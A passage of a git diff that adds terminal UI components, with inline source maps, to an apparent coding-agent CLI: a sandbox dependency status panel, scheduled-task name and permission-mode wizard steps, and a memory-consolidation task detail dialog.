A8VGV4dCBib2xkPntydWxlVmFsdWUudG9vbE5hbWV9PC9UZXh0PiB0b29sXG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICApXG4gICAgICB9IGVsc2Uge1xuICAgICAgICByZXR1cm4gbnVsbFxuICAgICAgfVxuICAgIH1cbiAgfVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUFTQyxJQUFJLFFBQVEsaUJBQWlCO0FBQ3RDLFNBQVNDLFFBQVEsUUFBUSxxQ0FBcUM7QUFDOUQsY0FBY0MsbUJBQW1CLFFBQVEsOENBQThDO0FBRXZGLEtBQUtDLGlCQUFpQixHQUFHO0VBQ3ZCQyxTQUFTLEVBQUVGLG1CQUFtQjtBQUNoQyxDQUFDO0FBRUQsT0FBTyxTQUFBRywwQkFBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUFtQztJQUFBSjtFQUFBLElBQUFFLEVBRXRCO0VBQ2xCLFFBQVFGLFNBQVMsQ0FBQUssUUFBUztJQUFBLEtBQ25CUixRQUFRLENBQUFTLElBQUs7TUFBQTtRQUNoQixJQUFJTixTQUFTLENBQUFPLFdBQVk7VUFDdkIsSUFBSVAsU0FBUyxDQUFBTyxXQUFZLENBQUFDLFFBQVMsQ0FBQyxJQUFJLENBQUM7WUFBQSxJQUFBQyxFQUFBO1lBQUEsSUFBQU4sQ0FBQSxRQUFBSCxTQUFBLENBQUFPLFdBQUE7Y0FJdEJFLEVBQUEsR0FBQVQsU0FBUyxDQUFBTyxXQUFZLENBQUFHLEtBQU0sQ0FBQyxDQUFDLEVBQUUsRUFBRSxDQUFDO2NBQUFQLENBQUEsTUFBQUgsU0FBQSxDQUFBTyxXQUFBO2NBQUFKLENBQUEsTUFBQU0sRUFBQTtZQUFBO2NBQUFBLEVBQUEsR0FBQU4sQ0FBQTtZQUFBO1lBQUEsSUFBQVEsRUFBQTtZQUFBLElBQUFSLENBQUEsUUFBQU0sRUFBQTtjQUZoREUsRUFBQSxJQUFDLElBQUksQ0FBQyxRQUFRLENBQVIsS0FBTyxDQUFDLENBQUMsOEJBQ2tCLElBQUUsQ0FDakMsQ0FBQyxJQUFJLENBQUMsSUFBSSxDQUFKLEtBQUcsQ0FBQyxDQUFFLENBQUFGLEVBQWlDLENBQUUsRUFBOUMsSUFBSSxDQUNQLEVBSEMsSUFBSSxDQUdFO2NBQUFOLENBQUEsTUFBQU0sRUFBQTtjQUFBTixDQUFBLE1BQUFRLEVBQUE7WUFBQTtjQUFBQSxFQUFBLEdBQUFSLENBQUE7WUFBQTtZQUFBLE9BSFBRLEVBR087VUFBQTtZQUFBLElBQUFGLEVBQUE7WUFBQSxJQUFBTixDQUFBLFFBQUFILFNBQUEsQ0FBQU8sV0FBQTtjQUlQRSxFQUFBLElBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FBQyxpQkFDSSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUosS0FBRyxDQUFDLENBQUUsQ0FBQVQsU0FBUyxDQUFBTyxXQUFXLENBQUUsRUFBakMsSUFBSSxDQUN4QixFQUZDLElBQUksQ0FFRTtjQUFBSixDQUFBLE1BQUFILFNBQUEsQ0FBQU8sV0FBQTtjQUFBSixDQUFBLE1BQUFNLEVBQUE7WUFBQTtjQUFBQSxFQUFBLEdBQUFOLENBQUE7WUFBQTtZQUFBLE9BRlBNLEVBRU87VUFBQTtRQUVWO1VBQUEsSUFBQUEsRUFBQTtVQUFBLElBQUFOLENBQUEsUUFBQVMsTUFBQSxDQUFBQyxHQUFBO1lBRU1KLEVBQUEsSUFBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFDLGdCQUFnQixFQUE5QixJQUFJLENBQWlDO1lBQUFOLENBQUEsTUFBQU0sRUFBQTtVQUFBO1lBQUFBLEVBQUEsR0FBQU4sQ0FBQTtVQUFBO1VBQUEsT0FBdENNLEVBQXNDO1FBQUE7TUFDOUM7SUFBQTtNQUFBO1FBR0QsSUFBSSxDQUFDVCxTQUFTLENBQUFPLFdBQVk7VUFBQSxJQUFBRSxFQUFBO1VBQUEsSUFBQU4sQ0FBQSxRQUFBSCxTQUFBLENBQUFLLFFBQUE7WUFFdEJJLEVBQUEsSUFBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFDLGVBQ0UsQ0FBQyxJQUFJLENBQUMsSUFBSSxDQUFKLEtBQUcsQ0FBQyxDQUFFLENBQUFULFNBQVMsQ0FBQUssUUFBUSxDQUFFLEVBQTlCLElBQUksQ0FBaUMsS0FDdkQsRUFGQyxJQUFJLENBRUU7WUFBQUYsQ0FBQSxNQUFBSCxTQUFBLENBQUFLLFFBQUE7WUFBQUYsQ0FBQSxNQUFBTSxFQUFBO1VBQUE7WUFBQUEsRUFBQSxHQUFBTixDQUFBO1VBQUE7VUFBQSxPQUZQTSxFQUVPO1FBQUE7VUFBQSxPQUdGLElBQUk7UUFBQTtNQUNaO0VBRUw7QUFBQyIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/cc-haha/src/components/sandbox/SandboxDoctorSection.tsx b/cc-haha/src/components/sandbox/SandboxDoctorSection.tsx
new file mode 100644
index 0000000..5d899db
--- /dev/null
+++ b/cc-haha/src/components/sandbox/SandboxDoctorSection.tsx
@@ -0,0 +1,46 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Box, Text } from '../../ink.js';
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js';
+export function SandboxDoctorSection() {
+  const $ = _c(2);
+  if (!SandboxManager.isSupportedPlatform()) {
+    return null;
+  }
+  if (!SandboxManager.isSandboxEnabledInSettings()) {
+    return null;
+  }
+  let t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const depCheck = SandboxManager.checkDependencies();
+      const hasErrors = depCheck.errors.length > 0;
+      const hasWarnings = depCheck.warnings.length > 0;
+      if (!hasErrors && !hasWarnings) {
+        t1 = null;
+        break bb0;
+      }
+      const statusColor = hasErrors ? "error" as const : "warning" as const;
+      const statusText = hasErrors ? "Missing dependencies" : "Available (with warnings)";
+      t0 = <Box flexDirection="column"><Text bold={true}>Sandbox</Text><Text>└ Status: <Text color={statusColor}>{statusText}</Text></Text>{depCheck.errors.map(_temp)}{depCheck.warnings.map(_temp2)}{hasErrors && <Text dimColor={true}>└ Run /sandbox for install instructions</Text>}</Box>;
+    }
+    $[0] = t0;
+    $[1] = t1;
+  } else {
+    t0 = $[0];
+    t1 = $[1];
+  }
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
+  }
+  return t0;
+}
+function _temp2(w, i_0) {
+  return <Text key={i_0} color="warning">└ {w}</Text>;
+}
+function _temp(e, i) {
+  return <Text key={i} color="error">└ {e}</Text>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJTYW5kYm94TWFuYWdlciIsIlNhbmRib3hEb2N0b3JTZWN0aW9uIiwiJCIsIl9jIiwiaXNTdXBwb3J0ZWRQbGF0Zm9ybSIsImlzU2FuZGJveEVuYWJsZWRJblNldHRpbmdzIiwidDAiLCJ0MSIsIlN5bWJvbCIsImZvciIsImJiMCIsImRlcENoZWNrIiwiY2hlY2tEZXBlbmRlbmNpZXMiLCJoYXNFcnJvcnMiLCJlcnJvcnMiLCJsZW5ndGgiLCJoYXNXYXJuaW5ncyIsIndhcm5pbmdzIiwic3RhdHVzQ29sb3IiLCJjb25zdCIsInN0YXR1c1RleHQiLCJtYXAiLCJfdGVtcCIsIl90ZW1wMiIsInciLCJpXzAiLCJpIiwiZSJdLCJzb3VyY2VzIjpbIlNhbmRib3hEb2N0b3JTZWN0aW9uLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBTYW5kYm94TWFuYWdlciB9IGZyb20gJy4uLy4uL3V0aWxzL3NhbmRib3gvc2FuZGJveC1hZGFwdGVyLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gU2FuZGJveERvY3RvclNlY3Rpb24oKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgaWYgKCFTYW5kYm94TWFuYWdlci5pc1N1cHBvcnRlZFBsYXRmb3JtKCkpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgaWYgKCFTYW5kYm94TWFuYWdlci5pc1NhbmRib3hFbmFibGVkSW5TZXR0aW5ncygpKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIGNvbnN0IGRlcENoZWNrID0gU2FuZGJveE1hbmFnZXIuY2hlY2tEZXBlbmRlbmNpZXMoKVxuICBjb25zdCBoYXNFcnJvcnMgPSBkZXBDaGVjay5lcnJvcnMubGVuZ3RoID4gMFxuICBjb25zdCBoYXNXYXJuaW5ncyA9IGRlcENoZWNrLndhcm5pbmdzLmxlbmd0aCA+IDBcblxuICBpZiAoIWhhc0Vycm9ycyAmJiAhaGFzV2FybmluZ3MpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgY29uc3Qgc3RhdHVzQ29sb3IgPSBoYXNFcnJvcnMgPyAoJ2Vycm9yJyBhcyBjb25zdCkgOiAoJ3dhcm5pbmcnIGFzIGNvbnN0KVxuICBjb25zdCBzdGF0dXNUZXh0ID0gaGFzRXJyb3JzXG4gICAgPyAnTWlzc2luZyBkZXBlbmRlbmNpZXMnXG4gICAgOiAnQXZhaWxhYmxlICh3aXRoIHdhcm5pbmdzKSdcblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgPFRleHQgYm9sZD5TYW5kYm94PC9UZXh0PlxuICAgICAgPFRleHQ+XG4gICAgICAgIOKUlCBTdGF0dXM6IDxUZXh0IGNvbG9yPXtzdGF0dXNDb2xvcn0+e3N0YXR1c1RleHR9PC9UZXh0PlxuICAgICAgPC9UZXh0PlxuICAgICAge2RlcENoZWNrLmVycm9ycy5tYXAoKGUsIGkpID0+IChcbiAgICAgICAgPFRleHQga2V5PXtpfSBjb2xvcj1cImVycm9yXCI+XG4gICAgICAgICAg4pSUIHtlfVxuICAgICAgICA8L1RleHQ+XG4gICAgICApKX1cbiAgICAgIHtkZXBDaGVjay53YXJuaW5ncy5tYXAoKHcsIGkpID0+IChcbiAgICAgICAgPFRleHQga2V5PXtpfSBjb2xvcj1cIndhcm5pbmdcIj5cbiAgICAgICAgICDilJQge3d9XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICkpfVxuICAgICAge2hhc0Vycm9ycyAmJiAoXG4gICAgICAgIDxUZXh0IGRpbUNvbG9yPuKUlCBSdW4gL3NhbmRib3ggZm9yIGluc3RhbGwgaW5zdHJ1Y3Rpb25zPC9UZXh0PlxuICAgICAgKX1cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxTQUFTQyxjQUFj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
\ No newline at end of file
diff --git a/cc-haha/src/components/scheduled-tasks/steps/NameStep.tsx b/cc-haha/src/components/scheduled-tasks/steps/NameStep.tsx
new file mode 100644
index 0000000..2c7a29a
--- /dev/null
+++ b/cc-haha/src/components/scheduled-tasks/steps/NameStep.tsx
@@ -0,0 +1,51 @@
+import React, { type ReactNode, useState } from 'react'
+import { Box, Text } from '../../../ink.js'
+import { useKeybinding } from '../../../hooks/useKeybinding.js'
+import TextInput from '../../TextInput.js'
+import { WizardDialogLayout } from '../../wizard/index.js'
+import { useWizard } from '../../wizard/useWizard.js'
+import type { ScheduledTaskWizardData } from '../types.js'
+
+export function NameStep(): ReactNode {
+  const { goNext, goBack, updateWizardData, wizardData } =
+    useWizard<ScheduledTaskWizardData>()
+  const [value, setValue] = useState(wizardData.name ?? '')
+  const [error, setError] = useState<string | null>(null)
+
+  useKeybinding('confirm:no', goBack, { context: 'Settings' })
+
+  const handleSubmit = () => {
+    const trimmed = value.trim()
+    if (!trimmed) {
+      setError('Name is required')
+      return
+    }
+    setError(null)
+    updateWizardData({ name: trimmed })
+    goNext()
+  }
+
+  return (
+    <WizardDialogLayout subtitle="Task name">
+      <Box flexDirection="column">
+        <Box marginBottom={1}>
+          <Text dimColor>
+            Give your scheduled task a short, descriptive name (e.g.
+            &quot;daily-code-review&quot;).
+          </Text>
+        </Box>
+        <TextInput
+          value={value}
+          onChange={setValue}
+          onSubmit={handleSubmit}
+          placeholder="e.g. daily-code-review"
+        />
+        {error && (
+          <Box marginTop={1}>
+            <Text color="red">{error}</Text>
+          </Box>
+        )}
+      </Box>
+    </WizardDialogLayout>
+  )
+}
diff --git a/cc-haha/src/components/scheduled-tasks/steps/PermissionStep.tsx b/cc-haha/src/components/scheduled-tasks/steps/PermissionStep.tsx
new file mode 100644
index 0000000..8639e4e
--- /dev/null
+++ b/cc-haha/src/components/scheduled-tasks/steps/PermissionStep.tsx
@@ -0,0 +1,55 @@
+import React, { type ReactNode } from 'react'
+import { Box, Text } from '../../../ink.js'
+import { Select } from '../../CustomSelect/select.js'
+import { WizardDialogLayout } from '../../wizard/index.js'
+import { useWizard } from '../../wizard/useWizard.js'
+import type { ScheduledTaskWizardData } from '../types.js'
+
+const PERMISSION_OPTIONS = [
+  {
+    label: 'Ask permissions',
+    value: 'ask',
+    description: 'Always ask before making changes',
+  },
+  {
+    label: 'Auto accept edits',
+    value: 'auto-accept',
+    description: 'Automatically accept all file edits',
+  },
+  {
+    label: 'Plan mode',
+    value: 'plan',
+    description: 'Create a plan before making changes',
+  },
+  {
+    label: 'Bypass permissions',
+    value: 'bypass',
+    description: 'Accepts all permissions',
+  },
+]
+
+export function PermissionStep(): ReactNode {
+  const { goNext, goBack, updateWizardData, wizardData } =
+    useWizard<ScheduledTaskWizardData>()
+
+  return (
+    <WizardDialogLayout subtitle="Permission mode">
+      <Box flexDirection="column">
+        <Box marginBottom={1}>
+          <Text dimColor>
+            Choose the permission mode for this scheduled task.
+          </Text>
+        </Box>
+        <Select
+          options={PERMISSION_OPTIONS}
+          defaultValue={wizardData.permissionMode ?? 'ask'}
+          onChange={(value) => {
+            updateWizardData({ permissionMode: value })
+            goNext()
+          }}
+          onCancel={goBack}
+        />
+      </Box>
+    </WizardDialogLayout>
+  )
+}
diff --git a/cc-haha/src/components/tasks/DreamDetailDialog.tsx b/cc-haha/src/components/tasks/DreamDetailDialog.tsx
new file mode 100644
index 0000000..74fdee5
--- /dev/null
+++ b/cc-haha/src/components/tasks/DreamDetailDialog.tsx
@@ -0,0 +1,251 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import type { DeepImmutable } from 'src/types/utils.js';
+import { useElapsedTime } from '../../hooks/useElapsedTime.js';
+import type { KeyboardEvent } from '../../ink/events/keyboard-event.js';
+import { Box, Text } from '../../ink.js';
+import { useKeybindings } from '../../keybindings/useKeybinding.js';
+import type { DreamTaskState } from '../../tasks/DreamTask/DreamTask.js';
+import { plural } from '../../utils/stringUtils.js';
+import { Byline } from '../design-system/Byline.js';
+import { Dialog } from '../design-system/Dialog.js';
+import { KeyboardShortcutHint } from '../design-system/KeyboardShortcutHint.js';
+type Props = {
+  task: DeepImmutable<DreamTaskState>;
+  onDone: () => void;
+  onBack?: () => void;
+  onKill?: () => void;
+};
+
+// How many recent turns to render. Earlier turns collapse to a count.
+const VISIBLE_TURNS = 6;
+export function DreamDetailDialog(t0) {
+  const $ = _c(70);
+  const {
+    task,
+    onDone,
+    onBack,
+    onKill
+  } = t0;
+  const elapsedTime = useElapsedTime(task.startTime, task.status === "running", 1000, 0);
+  let t1;
+  if ($[0] !== onDone) {
+    t1 = {
+      "confirm:yes": onDone
+    };
+    $[0] = onDone;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = {
+      context: "Confirmation"
+    };
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  useKeybindings(t1, t2);
+  let t3;
+  if ($[3] !== onBack || $[4] !== onDone || $[5] !== onKill || $[6] !== task.status) {
+    t3 = e => {
+      if (e.key === " ") {
+        e.preventDefault();
+        onDone();
+      } else {
+        if (e.key === "left" && onBack) {
+          e.preventDefault();
+          onBack();
+        } else {
+          if (e.key === "x" && task.status === "running" && onKill) {
+            e.preventDefault();
+            onKill();
+          }
+        }
+      }
+    };
+    $[3] = onBack;
+    $[4] = onDone;
+    $[5] = onKill;
+    $[6] = task.status;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  const handleKeyDown = t3;
+  let T0;
+  let T1;
+  let T2;
+  let t10;
+  let t11;
+  let t12;
+  let t13;
+  let t14;
+  let t15;
+  let t16;
+  let t4;
+  let t5;
+  let t6;
+  let t7;
+  let t8;
+  let t9;
+  if ($[8] !== elapsedTime || $[9] !== handleKeyDown || $[10] !== onBack || $[11] !== onDone || $[12] !== onKill || $[13] !== task.filesTouched.length || $[14] !== task.sessionsReviewing || $[15] !== task.status || $[16] !== task.turns) {
+    const visibleTurns = task.turns.filter(_temp);
+    const shown = visibleTurns.slice(-VISIBLE_TURNS);
+    const hidden = visibleTurns.length - shown.length;
+    T2 = Box;
+    t13 = "column";
+    t14 = 0;
+    t15 = true;
+    t16 = handleKeyDown;
+    T1 = Dialog;
+    t8 = "Memory consolidation";
+    const t17 = task.sessionsReviewing;
+    let t18;
+    if ($[33] !== task.sessionsReviewing) {
+      t18 = plural(task.sessionsReviewing, "session");
+      $[33] = task.sessionsReviewing;
+      $[34] = t18;
+    } else {
+      t18 = $[34];
+    }
+    let t19;
+    if ($[35] !== task.filesTouched.length) {
+      t19 = task.filesTouched.length > 0 && <>{" "}· {task.filesTouched.length}{" "}{plural(task.filesTouched.length, "file")} touched</>;
+      $[35] = task.filesTouched.length;
+      $[36] = t19;
+    } else {
+      t19 = $[36];
+    }
+    if ($[37] !== elapsedTime || $[38] !== t18 || $[39] !== t19 || $[40] !== task.sessionsReviewing) {
+      t9 = <Text dimColor={true}>{elapsedTime} · reviewing {t17}{" "}{t18}{t19}</Text>;
+      $[37] = elapsedTime;
+      $[38] = t18;
+      $[39] = t19;
+      $[40] = task.sessionsReviewing;
+      $[41] = t9;
+    } else {
+      t9 = $[41];
+    }
+    t10 = onDone;
+    t11 = "background";
+    if ($[42] !== onBack || $[43] !== onKill || $[44] !== task.status) {
+      t12 = exitState => exitState.pending ? <Text>Press {exitState.keyName} again to exit</Text> : <Byline>{onBack && <KeyboardShortcutHint shortcut={"\u2190"} action="go back" />}<KeyboardShortcutHint shortcut="Esc/Enter/Space" action="close" />{task.status === "running" && onKill && <KeyboardShortcutHint shortcut="x" action="stop" />}</Byline>;
+      $[42] = onBack;
+      $[43] = onKill;
+      $[44] = task.status;
+      $[45] = t12;
+    } else {
+      t12 = $[45];
+    }
+    T0 = Box;
+    t4 = "column";
+    t5 = 1;
+    let t20;
+    if ($[46] === Symbol.for("react.memo_cache_sentinel")) {
+      t20 = <Text bold={true}>Status:</Text>;
+      $[46] = t20;
+    } else {
+      t20 = $[46];
+    }
+    if ($[47] !== task.status) {
+      t6 = <Text>{t20}{" "}{task.status === "running" ? <Text color="background">running</Text> : task.status === "completed" ? <Text color="success">{task.status}</Text> : <Text color="error">{task.status}</Text>}</Text>;
+      $[47] = task.status;
+      $[48] = t6;
+    } else {
+      t6 = $[48];
+    }
+    t7 = shown.length === 0 ? <Text dimColor={true}>{task.status === "running" ? "Starting\u2026" : "(no text output)"}</Text> : <>{hidden > 0 && <Text dimColor={true}>({hidden} earlier {plural(hidden, "turn")})</Text>}{shown.map(_temp2)}</>;
+    $[8] = elapsedTime;
+    $[9] = handleKeyDown;
+    $[10] = onBack;
+    $[11] = onDone;
+    $[12] = onKill;
+    $[13] = task.filesTouched.length;
+    $[14] = task.sessionsReviewing;
+    $[15] = task.status;
+    $[16] = task.turns;
+    $[17] = T0;
+    $[18] = T1;
+    $[19] = T2;
+    $[20] = t10;
+    $[21] = t11;
+    $[22] = t12;
+    $[23] = t13;
+    $[24] = t14;
+    $[25] = t15;
+    $[26] = t16;
+    $[27] = t4;
+    $[28] = t5;
+    $[29] = t6;
+    $[30] = t7;
+    $[31] = t8;
+    $[32] = t9;
+  } else {
+    T0 = $[17];
+    T1 = $[18];
+    T2 = $[19];
+    t10 = $[20];
+    t11 = $[21];
+    t12 = $[22];
+    t13 = $[23];
+    t14 = $[24];
+    t15 = $[25];
+    t16 = $[26];
+    t4 = $[27];
+    t5 = $[28];
+    t6 = $[29];
+    t7 = $[30];
+    t8 = $[31];
+    t9 = $[32];
+  }
+  let t17;
+  if ($[49] !== T0 || $[50] !== t4 || $[51] !== t5 || $[52] !== t6 || $[53] !== t7) {
+    t17 = <T0 flexDirection={t4} gap={t5}>{t6}{t7}</T0>;
+    $[49] = T0;
+    $[50] = t4;
+    $[51] = t5;
+    $[52] = t6;
+    $[53] = t7;
+    $[54] = t17;
+  } else {
+    t17 = $[54];
+  }
+  let t18;
+  if ($[55] !== T1 || $[56] !== t10 || $[57] !== t11 || $[58] !== t12 || $[59] !== t17 || $[60] !== t8 || $[61] !== t9) {
+    t18 = <T1 title={t8} subtitle={t9} onCancel={t10} color={t11} inputGuide={t12}>{t17}</T1>;
+    $[55] = T1;
+    $[56] = t10;
+    $[57] = t11;
+    $[58] = t12;
+    $[59] = t17;
+    $[60] = t8;
+    $[61] = t9;
+    $[62] = t18;
+  } else {
+    t18 = $[62];
+  }
+  let t19;
+  if ($[63] !== T2 || $[64] !== t13 || $[65] !== t14 || $[66] !== t15 || $[67] !== t16 || $[68] !== t18) {
+    t19 = <T2 flexDirection={t13} tabIndex={t14} autoFocus={t15} onKeyDown={t16}>{t18}</T2>;
+    $[63] = T2;
+    $[64] = t13;
+    $[65] = t14;
+    $[66] = t15;
+    $[67] = t16;
+    $[68] = t18;
+    $[69] = t19;
+  } else {
+    t19 = $[69];
+  }
+  return t19;
+}
+function _temp2(turn, i) {
+  return <Box key={i} flexDirection="column"><Text wrap="wrap">{turn.text}</Text>{turn.toolUseCount > 0 && <Text dimColor={true}>{"  "}({turn.toolUseCount}{" "}{plural(turn.toolUseCount, "tool")})</Text>}</Box>;
+}
+function _temp(t) {
+  return t.text !== "";
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkRlZXBJbW11dGFibGUiLCJ1c2VFbGFwc2VkVGltZSIsIktleWJvYXJkRXZlbnQiLCJCb3giLCJUZXh0IiwidXNlS2V5YmluZGluZ3MiLCJEcmVhbVRhc2tTdGF0ZSIsInBsdXJhbCIsIkJ5bGluZSIsIkRpYWxvZyIsIktleWJvYXJkU2hvcnRjdXRIaW50IiwiUHJvcHMiLCJ0YXNrIiwib25Eb25lIiwib25CYWNrIiwib25LaWxsIiwiVklTSUJMRV9UVVJOUyIsIkRyZWFtRGV0YWlsRGlhbG9nIiwidDAiLCIkIiwiX2MiLCJlbGFwc2VkVGltZSIsInN0YXJ0VGltZSIsInN0YXR1cyIsInQxIiwidDIiLCJTeW1ib2wiLCJmb3IiLCJjb250ZXh0IiwidDMiLCJlIiwia2V5IiwicHJldmVudERlZmF1bHQiLCJoYW5kbGVLZXlEb3duIiwiVDAiLCJUMSIsIlQyIiwidDEwIiwidDExIiwidDEyIiwidDEzIiwidDE0IiwidDE1IiwidDE2IiwidDQiLCJ0NSIsInQ2IiwidDciLCJ0OCIsInQ5IiwiZmlsZXNUb3VjaGVkIiwibGVuZ3RoIiwic2Vzc2lvbnNSZXZpZXdpbmciLCJ0dXJucyIsInZpc2libGVUdXJucyIsImZpbHRlciIsIl90ZW1wIiwic2hvd24iLCJzbGljZSIsImhpZGRlbiIsInQxNyIsInQxOCIsInQxOSIsImV4aXRTdGF0ZSIsInBlbmRpbmciLCJrZXlOYW1lIiwidDIwIiwibWFwIiwiX3RlbXAyIiwidHVybiIsImkiLCJ0ZXh0IiwidG9vbFVzZUNvdW50IiwidCJdLCJzb3VyY2VzIjpbIkRyZWFtRGV0YWlsRGlhbG9nLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IERlZXBJbW11dGFibGUgfSBmcm9tICdzcmMvdHlwZXMvdXRpbHMuanMnXG5pbXBvcnQgeyB1c2VFbGFwc2VkVGltZSB9IGZyb20gJy4uLy4uL2hvb2tzL3VzZUVsYXBzZWRUaW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBLZXlib2FyZEV2ZW50IH0gZnJvbSAnLi4vLi4vaW5rL2V2ZW50cy9rZXlib2FyZC1ldmVudC5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB7IHVzZUtleWJpbmRpbmdzIH0gZnJvbSAnLi4vLi4va2V5YmluZGluZ3MvdXNlS2V5YmluZGluZy5qc